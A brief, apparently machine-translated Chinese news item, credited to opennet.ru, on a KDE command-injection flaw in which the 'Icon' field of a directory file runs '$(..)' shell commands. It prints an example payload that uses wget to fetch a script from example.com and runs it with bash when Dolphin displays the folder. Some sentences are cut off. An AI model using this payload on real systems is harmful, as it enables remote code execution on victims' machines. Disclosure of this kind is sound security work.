在 KDE 中
這個問題是由KDesktopFile 類別的錯誤實作引起的,該類別在處理「Icon」變數時,沒有適當的轉義,將值傳遞給KConfigPrivate::expandString() 函數,該函數執行shell 特殊字元的擴展,包括處理字串“$(..)”作為要執行的命令。 與XDG規範的要求相反,實施
例如,要攻擊
[桌面條目]類型=目錄
圖示[$e]=$(wget${IFS}https://example.com/FILENAME.sh&&/bin/bash${IFS}FILENAME.sh)
當您嘗試在 Dolphin 檔案管理器中查看已存檔的內容時,將下載並執行腳本 https://example.com/FILENAME.sh。
來源: opennet.ru